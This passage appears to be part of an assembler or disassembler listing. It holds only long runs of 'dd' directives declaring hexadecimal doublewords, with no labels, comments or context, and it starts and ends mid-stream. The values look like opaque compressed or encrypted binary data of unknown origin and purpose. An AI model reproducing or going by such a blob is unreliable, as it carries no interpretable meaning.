3E7350A2h, 5BAB1F40h, 54DBFE04h, 0D9C20D52h dd 9064C32Bh, 201F667h, 88FECFB3h, 9EC07CD8h, 50B8EA5Dh dd 875BAC09h, 30F081A9h, 0ADC8A7E3h, 0FDB50003h, 3E2EA609h dd 0E72E515Bh, 0B4000C5Dh, 266DA2BAh, 42340038h, 5CAFC992h dd 0CF131651h, 0FC054B40h, 8D80FFBCh, 219A354h, 56D903EDh dd 3FE09C52h, 8D00C5A0h, 737EF625h, 7AD51DC8h, 220D0049h dd 0A197554Ah, 0BF1728ACh, 6907626Ah, 60A18667h, 8EDCE923h dd 9E771292h, 0B13A05B9h, 80FBC479h, 0AB417134h, 125BBE30h dd 0C049D6FFh, 16A68F50h, 1A2AD415h, 6900B8A8h, 0B82B2A02h dd 0B805C2BAh, 7FFB00B2h, 0F07CB1CAh, 0D403CF48h, 833DE644h dd 0BE6009C4h, 8863DE4Ch, 639236C8h, 0B2356B1Dh, 0A3375601h dd 10408641h, 0C0C0AB3Ch, 9A1B4239h, 33744522h, 685B260Fh dd 0FB4480BCh, 30D499h, 86BFC78Ah, 0E8200428h, 0C4DB901Fh dd 2A6060B0h, 4069C313h, 12D0CBF8h, 6D01BF03h, 1BE7B1F2h dd 6C20BA23h, 3FB60102h, 0E89EBE81h, 0BBA1F4D3h, 16A633Fh dd 8841C48Ah, 0DCD06FEAh, 0A1C360D0h, 49B8873Eh, 620720EEh dd 0C08FAAABh, 0EF7A0EC0h, 3E0E67Bh, 1DE45804h, 0C480BDB8h dd 64004EDCh, 0A1292DFFh, 381740A9h, 0A7808CBBh, 0B9B20E59h dd 0B871751Eh, 1F9D6F13h, 0AB9E3000h, 397797Ah, 5576A180h dd 0C4A01EB1h, 7200D878h, 0D31A823Ah, 0F9652Eh, 0CC4FB3C5h dd 4192E107h, 1E531800h, 807576E7h, 0F49024h, 1357B9ABh dd 154AC32Fh, 0E6C9B70Eh, 8131C0B8h, 1C235483h, 804FC687h dd 0F88E3313h, 0A5073A8Ah, 73028C76h, 0B96C9D90h, 59AF003Ch dd 0C448DC70h, 7501CFA9h, 84A797ABh, 0EC549FC9h, 7BA043Ah dd 70DD4238h, 0CED7C2D1h, 0C126199Fh, 35DFD43Bh, 0AB7260DEh dd 1300A87Ch, 116C8F4Dh, 3F6ACEh, 1926414Bh, 3982C598h dd 18580F00h, 0AA36DAB8h, 0B6B40081h, 963457C2h, 0AB3017F7h dd 0DC0179C5h, 0A7B402C1h, 52EAB847h, 0A506A9E0h, 9EA1BC67h dd 0E90B6AB3h, 2D304D1Ch, 0AEE10709h, 6145B9C1h, 0C4C5943Ah dd 9626399Bh, 763E2C48h, 18C0E677h, 8B4ECCDh, 10AC6766h dd 0E2EFE33Fh, 9A7B2806h, 0E2689E5Bh, 6B671F20h, 36E0011Bh dd 42699DB2h, 42F53488h, 0BB0800C1h, 267FF28h, 0A3AD3F31h dd 0CFFCD08Eh, 0CDC02C00h, 55F5C186h, 98208822h, 49C40090h dd 0BB50BE5Eh, 0A00895Dh, 64421C35h, 60333AF6h, 201E786Ah dd 8560E346h, 21C24182h, 4F310C66h, 1F689C02h, 49DF6500h dd 0D019860h, 0D884A3BBh, 50A14245h, 52D2B4CEh, 53A0F8BCh dd 2F00515Eh, 0DA486583h, 0F8593A24h, 1E2EF852h, 0FD18F7h dd 71C71BF2h, 5A0E83DAh, 607DBE72h, 3D212E4Fh, 12260068h dd 0C02A5D62h, 0BE0C5264h, 69BBDF35h, 6D94A17Fh, 0E63FAE8h dd 640A3CC3h, 7921A68Ch, 4FEE000h, 3E08F923h, 0CD3D3301h dd 46D07BD0h, 201D2FAh, 3912FC98h, 0E040BA4Ah, 48210B29h dd 3D063060h, 18B98A09h, 0CB48C40Fh, 0ECED053Eh, 0FA9F8400h dd 706D5674h, 5AF1011h, 4F3400CCh, 0D0B52091h, 44AA5C38h dd 9EC2B900h, 3D0F275Ah, 1EFD8718h, 0A70BF20h, 0AE6F0EA7h dd 6EA27320h, 29BE5430h, 8184DE7Ch, 370EFED7h, 88A318D2h dd 0FE00D37Ch, 19A8F93Eh, 70299483h, 67371D12h, 1468B0EDh dd 1702415Dh, 0E0BC6120h, 1724C497h, 896024h, 0C3EA48B0h dd 8CC7847h, 10221D5h, 52B98968h, 0F7A4BBE3h, 808E193Fh dd 33CDAC49h, 2CC71A7Eh, 40E4A669h, 21FB6D5Fh, 98734501h dd 9A034CCAh, 102C68D1h, 0FD148500h, 67CF013Dh, 33ACD200h dd 4677CB63h, 66D05CDh, 0E67942h, 91169C4h, 0D4A0BD8Eh dd 0EF0F895Ch, 8556A65Fh, 24C047C8h, 6343E22h, 0B19A3707h dd 9E0738E4h, 0B2D03140h, 903CBA22h, 181159A8h, 11ABDFB3h dd 1B7FC345h, 36A34300h, 0AE3DA003h, 4ECE85Bh, 0C3472F5Fh dd 7610D89Ch, 8D94C007h, 0B08A293Bh, 8C31900h, 2C180Dh dd 8ACE2AEFh, 68D4AE1Fh, 63CA3D00h, 0CD623E7Eh, 0ACBC7B5Eh dd 89641FC0h, 8868D12Ah, 6C0683CCh, 13A09589h, 477AB04Fh dd 45EDCB02h, 0AFBAA6B8h, 5782E0B8h, 9B31C4Bh, 2FCF461h dd 0A9DA1480h, 3D281733h, 290184D4h, 95C745Fh, 4004585Bh dd 18FE3A0h, 0C72B19D4h, 6801E46Ah, 6B4522FBh, 7E886918h dd 51FD0013h, 0E6AAE5ADh, 0E49060F0h, 9DB3C40Ah, 8F82C497h dd 6ADD9A45h, 0BD808430h, 41D448D0h, 0A8FBE8C4h, 26424488h dd 9466A9h, 41687E3Ah, 0D7509B39h, 0FF0AEDBCh, 0DCBDD0AEh dd 465CA09h, 6460663Ch, 45231EFBh, 274114Bh, 24FD0F82h dd 7ACB8002h, 590141CBh, 3E003819h, 4B66E4A5h, 9D480A39h dd 0F66A0438h, 0E8908150h dd 0E2497Eh, 7B4218F4h, 977AF111h, 70FE4C92h, 0DE00118h dd 99A3378h, 1FA9FE34h, 0D656EC82h, 9F0044D8h, 628029DEh dd 0E23344Bh, 22843FBAh, 421E28Ch, 837238h, 0E3B70A8Ah dd 18668E61h, 0E9B1ACC7h, 8400FAA0h, 40A4EF9Dh, 6FEAF1h dd 7F41E685h, 0CA83B71Bh, 0CA809F48h, 465E9419h, 8D5D0072h dd 0D07EDB3Dh, 5180233h, 43A44239h, 818ED081h, 0CE906092h dd 35951207h, 386A414Fh, 6A806811h, 3B4528FBh, 8067448Ch dd 0B7FD1500h, 417E059Ch, 8024F5A5h, 213600E5h, 1A48EAF3h dd 0CC05E8BDh, 9B624118h, 0B9DCBC04h, 0F9B0E490h, 982506A6h dd 21FAE947h, 6D986A61h, 844EB4F7h, 0A0C573C8h, 0D4B54F83h dd 46F96082h, 6E7D08h, 605BA43Dh, 4624A254h, 3ACEC40Bh dd 140CA01Bh, 334D56Ch, 0B308CD4h, 27C1E52Eh, 0CB587046h dd 20CADDA1h, 0C9C3AA02h, 15BC3D8Eh, 84C5A4A1h, 46B8E300h dd 8F72C7Ah, 69B3CB0Ch, 0B1559099h, 18A27918h, 3CA12E6h dd 9A2422A1h, 91027066h, 8F9FB712h, 0E408651Ah, 9BD66074h dd 0AE106B0h, 79A8DE3Bh, 3D610600h, 4744B16Ah, 7A8A01B4h dd 0D907F59Fh, 0E450F4C8h, 8F1BD6FAh, 0C071C649h, 9992E99Ah dd 0F6A90A1Ch, 0A361FE4h, 58C8C35Dh, 0C49C3A17h, 54D7C8B0h dd 0EC5D5ADDh, 95370984h, 349FC3Dh, 575F5CD2h, 6EB75880h dd 0CADCB814h, 3F34C7ACh, 38682469h, 0B8027C8Dh, 0FEDC3071h dd 0DA371111h, 7D82AB88h, 9198FED4h, 0E186CA8h, 44DCFD05h dd 948B9A5Bh, 0FD598C00h, 0FB9358FAh, 601F7000h, 1DB935BDh dd 0E9D0601Eh, 0A796F0EFh, 78B5094h, 808488B8h, 80604D3Fh dd 0EBC6082h, 8140B198h, 3E288966h, 402B1878h, 4E00049Eh dd 0D948D089h, 98A23Ah, 0F1EF1E82h, 0ED4E067h, 10CB6404h dd 84D0BC76h, 3F134FF9h, 0D806C9Ch, 0BD917701h, 0E006F1Dh dd 0C8336472h, 57F7AFh, 62DF0C3Ch, 1F0F29D6h, 713BCCA0h dd 3FB02B0Eh, 185A8621h, 12151ACCh, 0A06160ADh, 84118D9h dd 403E2B89h, 540D2C4h, 0B468969h, 41190701h, 0C59840CFh dd 0CEA2C463h, 74B5330h, 57E1FA3Bh, 0E1FCC7EBh, 40C26338h dd 200A30B8h, 414B6B1Fh, 2B589D94h, 6701B80Fh, 703E3589h dd 21C0D118h, 0CA894F07h, 0DC431C7Dh, 0C7FC017h, 0BEB54245h dd 82407891h, 4BC749h, 45835BFBh, 0F8AC5CC8h, 0DF644A00h dd 6B5AEFBFh, 20C41E43h, 292C8E54h, 986FBE84h, 0FE12D660h dd 5C12370Fh, 0DC1828h, 3A196B5Fh, 0D42A052Bh, 9A1EEEB0h dd 90810159h, 301EB833h, 4822ADF4h, 6A0004E0h, 1B9FE1B2h dd 65583CDAh, 6056014Ch, 785FDE47h, 21EA0898h, 0E63B6D21h dd 0A29489F6h, 48ED0C0Bh, 4BBDA15Fh, 670A4FCh, 0F540E75Bh dd 364660DFh, 45E64102h, 43304056h, 691D809Eh, 35E63Eh dd 19C67192h, 0E4ED847Dh, 171B00C4h, 7A1C2B36h, 0E498B830h dd 80BC4E37h, 0B084DF90h, 0E6715Eh, 43795A20h, 9976DAD1h dd 370761FCh, 0DE6E3242h, 31EC1820h, 0DCFE26h, 97518D9Fh dd 337E173Dh, 3E67C202h, 9031BC79h, 11E6645Ch, 9E685644h dd 6C1E21B1h, 1F6016D9h, 5D6B0041h, 6A513D45h, 88C51CD1h dd 0BC311A64h, 29FCEA5Fh, 744D2B96h, 80389198h, 5643E663h dd 0E96E8C50h, 0E66B4021h, 0EEEEC9Dh, 0E0074983h, 0A2628C3h dd 83DCF23Eh, 0D66EDA82h, 3BF10127h, 0A8629844h, 9CBAD84Eh dd 183A9E3Ah, 6120D9F3h, 0C9B018Ch, 0F9347C43h, 0ABB442A9h dd 6B461844h, 42E66602h, 0EB317856h, 0E64E1C10h, 0D4CFF40Ch dd 3861F5h, 0BABEC2E1h, 4A3B7BBCh, 2EAF2300h, 0CA5E40EBh dd 3029F064h, 1B319C91h, 0EA48CDD5h, 40792900h, 1218E859h dd 8DF6C0FBh, 101C3349h, 3512B6FEh, 9904603Ah, 0C20C6F56h dd 1922D771h, 0EBEC077Ch, 1147F188h, 0CC42AB29h, 3406279Ah dd 0DE034FDFh, 7B7A7AA9h, 0CD5F76FDh, 6B096720h, 6E0C8218h dd 2F0D00FDh, 0C778B3CDh, 2D03B532h, 0A78F9CD4h, 2CD94249h dd 803081E2h, 0FFF3003Eh, 0C7B4A77h, 706252Ch, 369BADF7h dd 78952468h, 0ED465E6Ch, 25D17607h, 0BD6AF34Ah, 57A07FA7h dd 382351BEh, 2700A091h, 67BF367Eh, 9A400AFh, 0A146E677h dd 0E8194B9Dh, 68D82DB2h, 0FB048218h, 98535F85h, 9B208332h dd 1EFD2Dh, 0E8C8E37Ch, 0E00D735Ch, 9C9191F4h, 60603D64h dd 567248E6h, 1AC06499h, 0FD0E668h, 531674E8h, 0E500BC88h dd 9F5E20ECh, 8D8C098h, 0D817AC36h, 0E50C0D4h, 4E3DB0D5h dd 0D9DD0039h, 49DA89B9h, 4280B02Ch, 9EA86498h, 5BC03A42h dd 20639B8Ah, 90AB9904h, 572003A2h, 0CA656C31h, 983A5A58h dd 6F018E23h, 3E33EF51h, 806D4091h, 5F32FD29h, 229A432Bh dd 709C038Fh, 0C46E16FDh, 59BE2EB0h, 5F6BA300h, 0D0F315CAh dd 0C617FDAh, 2C302F81h, 0BFF299F1h, 6983CE07h, 35B056A7h dd 2A0580Eh, 0AA024B17h, 0B844D203h, 182D3422h, 19CA53A4h dd 0C0302957h, 5BEDF8D6h, 1896601Ah, 4F9C351Dh, 32C0DE50h dd 88BC7200h, 42027AC8h, 5E7771h, 405BE47h, 41B2518Ah dd 9EA8F664h, 0E4003C8Dh, 2482AC32h, 91448E65h, 0FB7C8066h dd 8C635F7Bh, 909D8444h, 7EEE00C0h, 0CF5F99D7h, 9C1232E6h dd 0AC014393h, 7433ACE5h, 708FDCFDh, 41895A5Fh, 0A0599400h dd 58320FEDh, 3069785Bh, 7E12FB85h, 80388B5Fh, 0FD2C00A0h dd 0E4386B90h, 843F9CDBh, 561C8254h, 0C0692021h, 0B1DAA284h dd 19E7D1E4h, 123FC7D8h, 5F2429Ah, 30EC1F02h, 9E53A2D0h dd 17C8B40h, 0A8252BC5h, 23DA6E5Dh, 9E43A1B8h, 0B93F840Ch dd 0D3FF8051h, 78A10516h, 0E0702A8Fh, 28A2FC88h, 4E0EF19h dd 1087AC34h, 0F1CA02B5h, 0D4A88126h, 30ACE70Fh, 16440834h dd 116C1749h, 7F4C7E4h, 3D7DF240h, 793F3EE0h, 91605748h dd 0FEF10D8Eh, 64586600h, 6029896Bh, 0DB5F1239h, 71FC089Bh dd 639841C0h, 864676A8h, 5A214060h, 109B89h, 83AFD1A8h dd 0C742842Fh, 6BE52E0Bh, 9258A049h, 90D4EB78h, 0C2530724h dd 0C0D8C381h, 0A1252A3Fh, 511FD3FBh, 3E8069F3h, 9CBF7A21h dd 0F68B00C5h, 6443C804h, 0E40BD8FFh, 0A0DC3957h, 6F4734FCh dd 41A66091h, 9A435F1Bh, 0B3BEF4A0h, 4582C80h, 0B857A96Eh dd 88588E47h, 0DBA5C08Fh, 91F2AE65h, 0EC29590Bh, 53BC2384h dd 0E50FDCDAh, 0C8C9B084h, 78C2BA0h, 0A8619843h, 68586836h dd 0DF98004Bh, 7A843D0h, 0EC99542Ch, 8ACF70Ch, 0BA8B0EDCh dd 0C60ED96Fh, 26642383h, 30EE5CE9h, 374C40DCh, 143CD4ECh dd 2CC044D9h, 896098F9h, 70EE561h, 8379A4C2h, 11107190h dd 84002067h, 47A95D00h, 72A6C7A0h, 31DFF40Bh, 4D93E09h dd 509C57CAh, 115FA4A6h, 0B2370F00h, 5C80E74Ah, 1E2B2C70h dd 0ABF7C364h, 4708C101h, 0BFAF3B5Dh, 11361FCh, 6D191DC4h dd 0EC7B58D7h, 0F0BA0AACh, 0F2E4A085h, 7D0FE360h, 9775CD00h dd 0AC35F742h, 0F82F6B8Bh, 8311401Dh, 65AF7380h, 1800A2ADh dd 5E522CA3h, 4C8C29B0h, 54B0ECCCh, 0F630971Bh, 347FF1BBh dd 37260119h, 3CDB7E2Fh, 0A3089867h, 3F307C21h, 94000119h dd 0EB6AE66h, 0BB0B9F40h, 20D99778h, 48A1410h, 4DC60FF8h dd 1F40742Fh, 9DA47E17h, 59D67204h, 80B61BCBh, 67016C23h dd 70564FE6h, 1F8F8873h, 5C30E6C0h, 53098255h, 0A0A45Ah dd 7F70BAD0h, 8408B12Fh, 23D91FE4h, 550AE47Dh, 0A846567Ch dd 0A0705915h, 8A117188h dd 27193380h, 25876737h, 7FF40C80h, 8E0011D6h, 0FB69E5C4h dd 7BFA4B54h, 0AEA10084h, 951BFE3Ah, 4DE8525Fh, 7E30F754h dd 357C1908h, 40A4C49Fh, 0F5193276h, 3B79004Eh, 7F7CEAB0h dd 2A62B96Ah, 64A38EF8h, 5FD518F4h, 1A5C39BCh, 0E491C8AEh dd 6918EA71h, 9F1160Ch, 0FD161D5h, 278DA00Fh, 1A71EEA0h dd 5F0E6274h, 0C534D9D3h, 0CC1FEBF7h, 0F941CA45h, 0EE303882h dd 26A4610h, 5F7FFB80h, 0BCE783h, 2FFD2B99h, 8D30CA7Fh dd 0EC9EF03Ch, 0C3A503D5h, 0B29A5BA9h, 0F02FE04Ah, 0BB00E723h dd 4F57C739h, 0AC36090Ah, 3409373Bh, 664C7466h, 0F8C7AA4h dd 0A83F9845h, 0BDF488D1h, 0A3984D80h, 26E1D682h, 56179C78h dd 0C4400601h, 0ED618C7Eh, 83BA00E7h, 7932855Ch, 5EFAC002h dd 60010B0h, 7F4E5464h, 0BAF545A2h, 51F8BBBCh, 680188Dh dd 9DA9D96h, 0E52639D4h, 733F6758h, 0E62BEC01h, 0E0020157h dd 24EEA882h, 0E09831F5h, 0A0A8D7BFh, 0A07EB57h, 177A523Dh dd 0ECC06937h, 39559D67h, 7CCCE508h, 1738D710h, 584F30BFh dd 3A2A20A4h, 3B5E85h, 7F6AC016h, 6C399D4Fh, 27BC725Ch dd 400375Ah, 0C193BD4Ah, 7DD3710h, 0B1D826h, 26AB2E34h dd 516CCFCDh, 0EC3A41C2h, 12B85231h, 17FA92h, 0C5B040D1h dd 0DF1B5181h, 0B82129D7h, 12FF2Ch, 3A947B60h, 0B3A53D24h dd 2244C327h, 488FF494h, 3A06E8C0h, 0F800FF63h, 0E6A655BCh dd 6800FCA3h, 1C894CBh, 29486CE0h, 71783341h, 3C481882h dd 3A06EEB8h, 79BA5AD5h, 0BF300970h, 77BDF9ECh, 7D86016Dh dd 0ED529BA1h, 5DBAF865h, 62830E1Ah, 51AC6230h, 18F7D9B8h dd 2ED0E42Ch, 0BA46D72h, 0BC3065EEh, 0ACB9D72Dh, 0A54E5700h dd 4FCC91h, 2BA2A6B0h, 0AAE3CD2Eh, 43FBB201h, 0ECA127C8h dd 40091C70h, 0AC7E3445h, 0CC0104E7h, 125B75EBh, 2F4E5028h dd 38E7239Ch, 11B9A28Bh, 98BBE180h, 60C03DCFh, 23089F8Ah dd 376F05E6h, 0A6797E27h, 6564B01Ch, 2F4F0220h, 0E4F1E5FAh dd 88214451h, 26D3C883h, 540C90F4h, 0DB9B076Ch, 40877D18h dd 3925B28Ch, 0EC8EF62Ah, 28E2DD00h, 0C08F42F0h, 1A8C00FBh dd 0B16F5141h, 0E45CB045h, 8CF4E858h, 5649AA00h, 0E651E321h dd 403904B3h, 82B835F2h, 4F306F08h, 0A8651398h, 0C08B96h dd 0E69B975Ch, 120F8372h, 82D6CC89h, 731ACD7Ch, 3B215054h dd 8C133F02h, 0C016495Eh, 0C6711Bh, 6C6E8A39h, 6F2F9E91h dd 0DD50EE15h, 22C3EC4h, 6629772Ah, 0A0084039h, 0D1B49147h dd 25EC198Bh, 0AA0913B0h, 1E50027Eh, 2C78EE10h, 2CDE7A00h dd 0D43957C3h, 0B833088Fh, 2880C904h, 0EB54BA4Bh, 0E76E8C5h dd 6B7109A4h, 0CD40D0E0h, 0F9093AF8h, 9485BADh, 59B49240h dd 188679A4h, 0F93D006Ch, 1DFC3309h, 0DF58B11Fh, 3C152493h dd 0BF9C3202h, 6BA4E913h, 0BAD0F4E8h, 0F74B219Ch, 82198081h dd 0A6184F35h, 19E47889h, 0D7FF07D6h, 0E0E6B07Bh, 0F7C45991h dd 5D5A5E05h, 0C8CED0F8h, 1C9A4C8h, 3F6A0FB3h, 546203DDh dd 2FE73300h, 1F527B42h, 245E6D01h, 15239C37h, 7C44D080h dd 0B0126E56h, 0C4AC392Ah, 4B037000h, 57DFEF04h, 5320057Bh dd 14659A2h, 0D89C3088h, 2F6C60C6h, 0FA9E4820h, 0AECE3E18h dd 0B280A45Ch, 0FDD86EDBh, 59489C90h, 71D61CF8h, 8C411C92h dd 0A7986732h, 9343197h, 18402FE9h, 937262EBh, 4902E98h dd 0F933FC33h, 0B046B09Eh, 0DEB82631h, 9EC2CC0h, 0D4C03DCAh dd 2491035Ch, 8F0E4E00h, 1CE74016h, 40F2737Ah, 0D68D53D5h dd 0A53AF04Bh, 9124B010h, 5B5C2Fh, 8D5D34D5h, 264F327Ah dd 23746709h, 0B39CA03Eh, 90247731h, 0AB9339F4h, 69739601h dd 3849DD5Ah, 27AE0398h, 0D04CBAF6h, 0A7F4ACh, 5C74DB1Dh dd 6309B3F0h, 700A149Ah, 0B4028E53h, 0A7D13900h, 9CADBBFh dd 52A651C8h, 0A4913017h, 7A376481h, 4C80C015h, 0BBE22B12h dd 0B5F7B806h, 0B1CD3A29h, 0BFE82A80h, 84084B6h, 0EB0098A4h dd 0CDA05C7Fh, 112EE4h, 10D55E4Dh, 7CA9CFCAh, 33E3190Bh dd 340082DBh, 228D2027h, 3CEC1757h, 6D015824h, 0EA90CC20h dd 0E43AD61Fh, 0DA6001A7h, 89ECA588h, 94FC0CB3h, 5F78DB2Fh dd 0F1255A12h, 67C47C80h, 0B8B148C8h, 3363057Ah, 53EDA259h dd 8D8801B0h, 4E936D6Eh, 8F7C1120h, 8856D585h, 80513FF4h dd 0B5F434B4h, 0F98FB10Ah, 8C08B8CEh, 193960F6h, 2CE33729h dd 317DB060h, 64AB0019h, 0F62A5523h, 0FE053730h, 791A6FC0h dd 0EDE148A2h, 0BD0C9Fh, 9A11E15Eh, 2586FDB3h, 0D003AC08h dd 8BDA93DBh, 0C1E8C810h, 80B3F604h, 1D85A2B9h, 24009CAh dd 6A568B4Dh, 58B57894h, 0ABF6C300h, 69C3D1Eh, 5DD53CD6h dd 940A69B6h, 0FC316BE0h, 155A5305h, 7155E492h, 18A47114h dd 0AB2F0072h, 6E363E0Ch, 8F5ACA23h, 8D691000h, 93FCF51h dd 5438DEA8h, 0A7919C17h, 825FF58Eh, 23D59971h, 8DC56C48h dd 0E5626909h, 115DE41h, 81420D5Ch, 1BA930D4h, 17DCB894h dd 194BABCh, 165F839Dh, 5548922Ah, 0A523402Fh, 0A9853400h dd 2824A40h, 0F15A58DDh, 50D8E5h, 0A2F4720h, 2489B3E7h dd 0DB3A0EC0h, 4A095921h, 6BD420D9h, 0E50120B6h, 29EB9085h dd 0B3504842h, 9119FBA4h, 0AB185735h, 93D7988h, 0AD911619h dd 0C25FACC8h, 0FC4AED29h, 7DB2133Ch, 0E19EC082h, 0A0A70FD9h dd 8691EC97h, 3CAC1F80h, 0A30022C7h, 5F764BF3h, 99F41DA2h dd 0B4EA0904h, 186CA0C9h, 39FD0B26h, 2045735Fh, 0FD71A780h dd 1CA2395Bh, 706580h, 7CE441E9h, 0E32FA88Dh, 0D5042213h dd 7B5C0047h, 7D586A77h, 0CE1A8044h, 7169E65Fh, 1EBA0418h dd 0F3B65260h, 30E9B2F4h, 371D23CAh, 541C7F99h, 19A26943h dd 327003FDh, 0B931B4D3h, 0C4F4302Ch, 0B3A06040h, 340158ADh dd 0AE2F5F3Ah, 0DDEBD402h, 0B3EE8887h, 3058BD5Bh, 0D20412C8h dd 3A20C02h, 3A85C3Eh, 0D8AA0159h, 139C183Fh, 483EBCDCh dd 0B00E723h, 7720C317h, 0DC6C006Fh, 2BE5303Ah, 89D7015Bh dd 0C780A0DBh, 2B6FD97Dh, 0B812220h, 21930161h, 0D51BB800h dd 8CAA6358h, 0A511709Dh, 0D821A80h, 0CD0A3A70h, 0B857D53Fh dd 0A059DC80h, 1A3315B5h, 98DFF308h, 8B7978F9h, 5305D318h dd 0E7B201B0h, 3A4B801h, 0D084A7F2h, 5699399Dh, 0ECA2A425h dd 0D600703Ch, 30D5C026h, 0D800DDF0h, 92C98FF4h, 0D2470494h dd 75C7A98h, 8FD1C117h, 4847269h, 2BC3B040h, 3720B45Eh dd 8201B4EEh, 5BE6B833h, 3C2103C9h, 35DA3183h, 0B91E441Eh dd 325B27Bh, 8059C420h, 0F08E2693h, 0C1DB00ACh, 0D6ADA4AFh dd 560C44A0h, 588B2C31h, 0C253127Ch, 0E4BC509Dh, 8EA7E8h dd 41BE4BCAh, 0E2E5461Fh, 7C25A0C0h, 968A22Ch, 33FE307Dh dd 8E914C97h, 0FC5CD680h, 50045956h, 0D7E43742h, 0F00018ACh dd 5DEEB8A1h, 74919E6Fh, 869E40F0h, 878D3C00h, 35E20918h dd 2DB43A0Ch, 0A5452501h, 0D81DF107h, 1801A058h, 101BCECCh dd 0BC2CA4D2h, 56DD3D03h, 9820352Fh, 718A4CD9h, 6E083C02h dd 8C88562h, 0F72EE1A2h, 5596F4BFh, 0A688C0CBh, 0B57546C0h dd 9B00966h, 3C827916h, 78CFF7D4h, 0C2965E40h, 8FD30990h dd 887055FCh, 12EDB320h, 0DA528CC0h, 8C21C0CCh, 61A7A4h dd 1641FAF7h, 7CEB7B62h, 4833C400h, 2C075D7Eh, 0B4212C56h dd 2FEE859Ch, 23382EA7h, 330B07A9h, 0FDA2C1D8h, 5642011h dd 97AFA894h, 80F79140h dd 0D25B2017h, 27D89AAAh, 449782FBh, 60DA4008h, 0B3343C3Dh dd 0D005DF8h, 2783BF75h, 4A04B8F7h, 0C244D1D7h, 0A93EFCBAh dd 84941F00h, 52ADE9ABh, 0F21A07FAh, 26DB043Fh, 0F10031D1h dd 56BE811Ch, 28EFC3Eh, 9C3409DFh, 0DC80E7A7h, 82E61045h dd 80BC3595h, 7AAA8A4Dh, 510186CBh, 0BF6B2C09h, 7D009E33h dd 0BA00843Ah, 4956D6D5h, 0FAF0C3E6h, 0B42B5390h, 0D530F9A2h dd 1FDBEA4Ah, 1624E592h, 1EA82009h, 8B5F0210h, 0EB231C3Bh dd 36065D01h, 0DC68E7C4h, 8EDFEA04h, 0C2B8D86Fh, 30370605h dd 1094320Bh, 0BD85B431h, 1E23830h, 6B71647h, 3351D8A1h dd 338FA2F8h, 72BA62F8h, 0B30BA87Ah, 0A1DC0A01h, 916E230Ch dd 2A3F2000h, 0DCF3592Ch, 0BD2C17ADh, 0F4790046h, 3B64F08h dd 16AC92B4h, 5221D933h, 0A128E32Ch, 220C9E40h, 0E6BEC00h dd 0B66CEFF8h, 33E33EF1h, 23A82F5Fh, 5B8D0F90h, 749C33A7h dd 4F5C85DBh, 0A6E4428Ch, 0C7B0D0BDh, 0B8A530FAh, 0E638EE4h dd 80430CE1h, 0A0567CACh, 0F846F315h, 24CCB8C2h, 12347450h dd 0E784E633h, 0D7718A61h, 1A5BA20h, 7F9B2809h, 2C2BE0B3h dd 0A70D7FD4h, 59BBA38Fh, 84BC3C68h, 17EA008Ch, 5475A5BAh dd 0D2B05680h, 2405EE13h, 0D10F6CE2h, 0B6E03Bh, 7BD70A48h dd 0D517B483h, 0D053175Ah, 0A223103Ah, 3D0A6E00h, 9ACA7Ch dd 0F75E0BD3h, 55571488h, 0A6568D13h, 0A8C8F48Bh, 2BC1F6C0h dd 0C7060125h, 3A35DEE1h, 28684369h, 631A1799h, 916F01B4h dd 6382E8DEh, 3FBC107Ch, 8400DA43h, 4071EB04h, 7307495Eh dd 22190E6Ch, 8E50C0E9h, 9ACB9ADh, 0F0C8F7EFh, 0A9736E59h dd 236FFC05h, 889B22Ah, 0D023C2E1h, 0D830EDA2h, 0C57D0F4Ah dd 0D147FC67h, 0ADF690B5h, 80973903h, 3D38B94Ch, 803C9EBFh dd 0AE806E55h, 0E6030CE5h, 4446B6A1h, 434E809h, 3B583BA0h dd 0FCB014F9h, 0F8BC9082h, 8005D943h, 88CA51A9h, 0E45E3CA0h dd 0D40A0844h, 0F432D50Fh, 60F0C7C0h, 9D05A4Dh, 0D03C2157h dd 2CEE0504h, 29DA006h, 0E16BE520h, 89125C71h, 6C811865h dd 79D63580h, 367A6158h, 5787D019h, 0C1E96007h, 667022ACh dd 95F7CC17h, 33777420h, 0E41EC786h, 0B0C080E8h, 2F1FA33Dh dd 0B27302D1h, 351E7821h, 990BCC0h, 311BA013h, 8D232C2Fh dd 84EF2E04h, 1D090085h, 807CF0A8h, 3D9E56C6h, 32CE28D3h dd 0D47941D8h, 0A918A0D9h, 0BEC948h, 74CB892h, 0BC08525Ch dd 0E8F181D0h, 0E0874311h, 44009B5Eh, 0AA6BA76Ch, 4BAC31AFh dd 0A22484FFh, 3282F29Ch, 60F2A901h, 0A10C20C1h, 0B0F3C40h dd 0D73FF77Bh, 0C5B09890h, 0EC8F210Fh, 6B468034h, 199DB11h dd 5DA6BB8Bh, 0D3854788h, 36EC3AE0h, 0E574A095h, 16FB7D4h dd 23C9403Ch, 30AF478Ah, 43F8B8D4h, 846E896Fh, 0CADE0BCh dd 0C438CB5Ah, 1E309FEAh, 7505D649h, 0EEF6C65Bh, 0EBE828A8h dd 34FC008Ch, 51B5A058h, 349C034Ch, 121ACD80h, 0E2182871h dd 0A119009Eh, 0E2706334h, 8D755072h, 406F5E00h, 451E599Ch dd 2DFC0B58h, 24C8F64Ah, 0C003989Eh, 0C64D9463h, 516BD8C5h dd 282D0907h, 0CD00A03h, 2938D73Ch, 0E10288D6h, 0C3783A08h dd 0DB104B64h, 0BC5D8078h, 4FCAD318h, 0DD745361h, 0C0205A28h dd 77A8360Eh, 0A3DF0841h, 9A274905h, 21908224h, 2C5EF2h dd 0AFD67B7h, 3802694Bh, 0DD33ADA1h, 7868D3B2h, 3938FA62h dd 424F800Ch, 0A540CBEBh, 0BF2F09A1h, 0ECE5B1CFh, 5A10C8BFh dd 0E488D4CEh, 629ECBC0h, 5E572DE8h, 92600C1Ch, 6FC35971h dd 0B4762C03h, 1A099D28h, 87B307Dh, 215CD4ACh, 8D809FEDh dd 0D1BD8290h, 0A88F15A9h, 51138C89h, 0BFEC0508h, 0DAC00B98h dd 5248BC04h, 0FDF2B4A2h, 9A8AE30h, 0E42957CBh, 7604D422h dd 1D028C78h, 0D8E8D55Ah, 3CB491DAh, 12BE28E4h, 20BF1973h dd 5A0159D4h, 0E64081E9h, 0EEF8F65Bh, 499D743Ch, 34F06038h dd 49C7053h, 5C0CE135h, 0DA1E1880h, 6F5613E5h, 0BC804C1h dd 7110F4EDh, 88B5B786h, 0BBF8D500h, 40762BA2h, 0A03B0BB3h dd 50E4247Dh, 0B611B42Ch, 1F12323Dh, 2BE4E10Eh, 1E29C20h dd 20EF0031h, 4FA58325h, 2E122DBEh, 0F4F077A3h, 0D149E7Bh dd 89A1E104h, 8086CA18h, 5F1D0D04h, 25D5B6Ah, 348CD9F8h dd 